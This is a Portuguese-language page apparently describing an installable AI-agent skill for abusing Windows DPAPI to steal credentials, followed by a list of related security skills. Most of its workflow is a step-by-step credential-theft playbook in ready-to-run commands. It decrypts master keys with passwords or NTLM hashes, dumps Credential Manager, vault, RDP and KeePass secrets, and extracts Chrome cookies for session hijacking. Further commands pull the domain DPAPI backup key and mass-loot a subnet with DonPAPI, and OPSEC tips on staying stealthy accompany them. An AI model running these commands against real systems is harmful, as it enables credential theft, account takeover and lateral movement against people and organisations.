Communitygithub.com

Abusando do DPAPI para Acesso a Credenciais

Extraia e descriptografe segredos protegidos pelo DPAPI do Windows (Credential Manager, logins/cookies de navegadores, credenciais Wi-Fi, chaves do KeePass) online ou offline usando SharpDPAPI, SharpChrome, Mimikatz ou Impacket.

O que é Abusando do DPAPI para Acesso a Credenciais?

Esta habilidade capacita profissionais de segurança autorizados a abusar da Windows Data Protection API (DPAPI) para recuperar segredos em texto claro durante testes de penetração ou exercícios de Red Team. O DPAPI é um serviço de criptografia simétrica integrado ao Windows, usado para proteger credenciais do Credential Manager, logins e cookies de navegadores (Chrome/Edge), chaves do KeePass, senhas de RDP e muito mais. A habilidade cobre três caminhos principais de descriptografia: online (usando o contexto do usuário atual), offline (com a senha ou hash NTLM do usuário) e em todo o domínio (com a chave de backup DPAPI do domínio, obtida com privilégios de Administrador de Domínio). As principais ferramentas incluem SharpDPAPI e SharpChrome (da suíte GhostPack) para Windows, Mimikatz para implementações originais e Impacket/DonPAPI para triagem remota a partir do Linux. O fluxo de trabalho orienta o usuário desde a triagem inicial do host até a extração de segredos específicos, como credenciais do navegador e chaves de certificado, sempre seguindo as melhores práticas de detecção e OPSEC para minimizar a visibilidade.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-dpapi-for-credential-access

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

O que Abusando do DPAPI para Acesso a Credenciais faz?

Aviso Legal: Esta habilidade destina-se exclusivamente a testes de penetração autorizados, engajamentos de Red Team e fins educacionais. Extrair credenciais de sistemas que você não possui ou para os quais não possui autorização escrita explícita para testar é ilegal e pode violar leis de fraude e abuso de computadores. Sempre opere dentro de regras de engajamento assinadas e documente cada ação.

Visão Geral

A Windows Data Protection API (DPAPI) é o serviço de criptografia simétrica integrado do sistema operacional que os aplicativos usam para proteger segredos em repouso: credenciais RDP e do Windows Credential Manager salvas, credenciais web e Wi-Fi no Cofre de Credenciais, logins e cookies salvos em navegadores (Chrome/Edge), chaves do KeePass, chaves privadas de certificados e senhas de Tarefas Agendadas. O DPAPI deriva uma chave mestra por usuário (ou por máquina) da senha do usuário (ou do segredo da conta da máquina), e essa chave mestra criptografa "blobs DPAPI" individuais. As chaves mestras criptografadas residem em %APPDATA%\Microsoft\Protect\<SID>\ (usuário) e %WINDIR%\System32\Microsoft\Protect\ (máquina).

Os Red Teamers abusam do DPAPI para recuperar segredos em texto claro após obter um ponto de apoio, mapeando para MITRE ATT&CK T1555.004 (Credenciais de Armazenamentos de Senhas: Windows Credential Manager). Existem três caminhos principais de descriptografia:

  1. Online / baseado em contexto — executando como o usuário alvo, as APIs do DPAPI (CryptUnprotectData) descriptografam transparentemente os blobs do usuário. O sinalizador /unprotect do SharpDPAPI usa isso.
  2. Offline com a senha do usuário ou hash NTLM — descriptografe as chaves mestras do usuário com /password: ou /ntlm:, em seguida, descriptografe os blobs offline (ótimo para arquivos triados de um host).
  3. Em todo o domínio com a chave de backup DPAPI — Administradores de Domínio podem extrair a chave de backup DPAPI RSA do domínio (.pvk) uma vez, então descriptografar qualquer chave mestra de usuário do domínio para sempre, online ou offline, com /pvk:.

As ferramentas canônicas são SharpDPAPI (GhostPack, uma porta C# da funcionalidade DPAPI do Mimikatz) para Windows, SharpChrome para segredos de navegador e Mimikatz (dpapi::*) como a implementação original. No Linux, o dpapi.py do Impacket e o donpapi realizam triagem remota/offline.

Quando Usar

  • Após comprometer um host Windows onde o usuário possui credenciais RDP, de navegador ou de cofre salvas que valem a pena serem coletadas para movimento lateral.
  • Quando você possui a senha ou o hash NTLM de um usuário e deseja descriptografar seus segredos protegidos por DPAPI offline.
  • Quando você tem privilégios de Administrador de Domínio e deseja obter a chave de backup DPAPI do domínio para descriptografar dados protegidos de qualquer usuário em todo o parque.
  • Ao triar diretórios Credentials, Vault ou Protect exportados de imagens de disco.
  • Durante exercícios de Purple Team para validar a detecção de acesso à chave mestra DPAPI e leituras de LSASS/pasta Protect.

Pré-requisitos

  • Um ponto de apoio autorizado (sessão interativa, beacon ou administração remota) no host Windows alvo.
  • Conhecimento do SID do usuário alvo e um dos seguintes: a sessão do usuário, senha, hash NTLM ou direitos de Administrador de Domínio para a chave de backup.
  • Ferramentas (compilar a partir do código-fonte ou usar binários de lançamento; obter apenas de fontes oficiais upstream):
# SharpDPAPI / SharpChrome (GhostPack) — compilar com Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Abra SharpDPAPI.sln e compile Release, ou:
msbuild SharpDPAPI.sln /p:Configuration=Release

# Mimikatz (implementação DPAPI original)
# https://github.com/gentilkiwi/mimikatz/releases

# Triagem remota/offline Linux (Impacket)
pipx install impacket            # fornece dpapi.py / impacket-dpapi
pipx install donpapi             # https://github.com/login-securite/DonPAPI

Objetivos

  • Triar um host em busca de blobs de credenciais, cofre, RDP e certificados protegidos por DPAPI.
  • Descriptografar chaves mestras de usuário online (/unprotect), com uma senha/hash ou com a chave de backup do domínio.
  • Recuperar segredos do Credential Manager e do Cofre de Credenciais em texto claro.
  • Extrair logins e cookies salvos de navegadores com o SharpChrome.
  • Obter e reutilizar a chave de backup DPAPI do domínio para descriptografia em todo o parque.

Mapeamento MITRE ATT&CK

ID da TécnicaNomeTáticaRelevância
T1555.004Credenciais de Armazenamentos de Senhas: Windows Credential ManagerAcesso a CredenciaisO DPAPI protege entradas do Credential Manager / Cofre; descriptografar chaves mestras e blobs recupera essas credenciais armazenadas.
T1555.003Credenciais de Armazenamentos de Senhas: Credenciais de Navegadores WebAcesso a CredenciaisO SharpChrome descriptografa logins, cookies e chaves de estado do Chrome/Edge protegidos por DPAPI.
T1003Dumpping de Credenciais do SOAcesso a CredenciaisExtrair chaves mestras / chaves de backup é uma forma de dump de material de credenciais.

Fluxo de Trabalho

1. Triar o host em busca de blobs DPAPI

Execute o comando triage do SharpDPAPI no contexto do usuário para enumerar automaticamente e (quando possível) descriptografar credenciais, cofres, RDG/RDP e certificados:

# Triagem online no contexto do usuário atual (usa CryptUnprotectData)
SharpDPAPI.exe triage /unprotect

# Triagem de máquina (requer admin local / SYSTEM) para blobs de escopo de máquina
SharpDPAPI.exe machinetriage

2. Descriptografar chaves mestras de usuário offline (senha ou hash NTLM)

Se você possui a senha ou o hash do usuário, descriptografe suas chaves mestras para um mapeamento {GUID}:SHA1 que você pode reutilizar contra blobs individuais:

# Descriptografar todas as chaves mestras do usuário atual/especificado com a senha
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

# Descriptografar chaves mestras com o hash NTLM do usuário em vez da senha
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

# A saída são linhas GUID:SHA1 — alimente-as nos comandos de credentials/vaults

3. Recuperar segredos do Credential Manager e do Cofre

Use o mapeamento de chave mestra descriptografada (ou /pvk:) para descriptografar as credenciais armazenadas e entradas do cofre:

# Descriptografar blobs do Credential Manager com um mapeamento GUID:SHA1
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# Ou aponte para uma pasta Credentials alvo e descriptografe com a chave de backup do domínio
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

# Descriptografar entradas do Cofre de Credenciais
SharpDPAPI.exe vaults /pvk:backupkey.pvk

4. Descriptografar segredos de RDP, KeePass e certificados

# Senhas RDP salvas no RDCMan.settings (contexto do usuário atual)
SharpDPAPI.exe rdg /unprotect

# Chaves mestras do KeePass protegidas por DPAPI
SharpDPAPI.exe keepass /unprotect

# Chaves privadas de certificados (exportar .pem utilizável com /showall para todos os repositórios)
SharpDPAPI.exe certificates /unprotect /showall

5. Extrair credenciais do navegador com SharpChrome

O SharpChrome descriptografa logins e cookies do Chrome/Edge. Chromium moderno usa uma "chave de estado" App-Bound que o SharpChrome resolve via DPAPI:

# Descriptografar logins salvos para o usuário atual
SharpChrome.exe logins /unprotect

# Descriptografar cookies (útil para sequestro de sessão) em uma pasta alvo
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

# Resolver a chave de estado AES explicitamente
SharpChrome.exe statekeys /unprotect

6. Obter a chave de backup DPAPI do domínio (Administrador de Domínio)

Com Administrador de Domínio, recupere a chave privada de backup DPAPI RSA do domínio uma vez. Esta chave descriptografa as chaves mestras de qualquer usuário do domínio indefinidamente:

# Puxar e salvar a chave de backup do domínio como um .pvk via interface RPC MS-BKRP
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk

Em seguida, descriptografe as chaves mestras de qualquer usuário offline com ela:

SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

7. Triagem remota / baseada em Linux (Impacket / DonPAPI)

A partir de uma caixa de operador Linux, colete e descriptografe segredos DPAPI em hosts:

# Descriptografar um único arquivo masterkey com Impacket usando a chave de backup do domínio
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk

# Descriptografar um blob de credencial com a chave mestra recuperada
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>

# Saque DPAPI remoto em massa em hosts com DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

Ferramentas e Recursos

FerramentaPropósitoLink
SharpDPAPITriagem/descriptografia DPAPI Windows (C#)https://github.com/GhostPack/SharpDPAPI
SharpChromeDescriptografia de logins/cookies/chave de estado Chromiumhttps://github.com/GhostPack/SharpDPAPI
MimikatzImplementação DPAPI original (dpapi::*)https://github.com/gentilkiwi/mimikatz
Impacket dpapi.pyDescriptografia DPAPI remota/offline (Python)https://github.com/fortra/impacket
DonPAPISaque DPAPI remoto em massahttps://github.com/login-securite/DonPAPI
HackTricks DPAPIReferência de técnicahttps://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

Notas de Detecção e OPSEC

  • O acesso à chave mestra e leituras de \Microsoft\Protect\ e \Microsoft\Credentials\ são detectáveis; backupkey dispara uma chamada RPC MS-BKRP para o DC.
  • O caminho /unprotect (online) é a opção mais furtiva para um único host, mas só funciona como o usuário ativo.
  • Defensores devem monitorar o acesso de processo Sysmon ao LSASS e acesso anormal às pastas Protect/Credentials (DE.CM-01).

Critérios de Validação

  • Host triado com SharpDPAPI triage / machinetriage.
  • Chaves mestras do usuário descriptografadas via /unprotect, /password:, /ntlm: ou /pvk:.
  • Segredos do Credential Manager e do Cofre recuperados.
  • Segredos de RDP / KeePass / certificados extraídos quando presentes.
  • Logins/cookies do navegador descriptografados com SharpChrome.
  • Chave de backup DPAPI do domínio recuperada com Administrador de Domínio (se no escopo) e reutilizada offline.
  • Todos os segredos recuperados documentados com host/usuário de origem e conformidade com ROE confirmada.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

Habilidades Relacionadas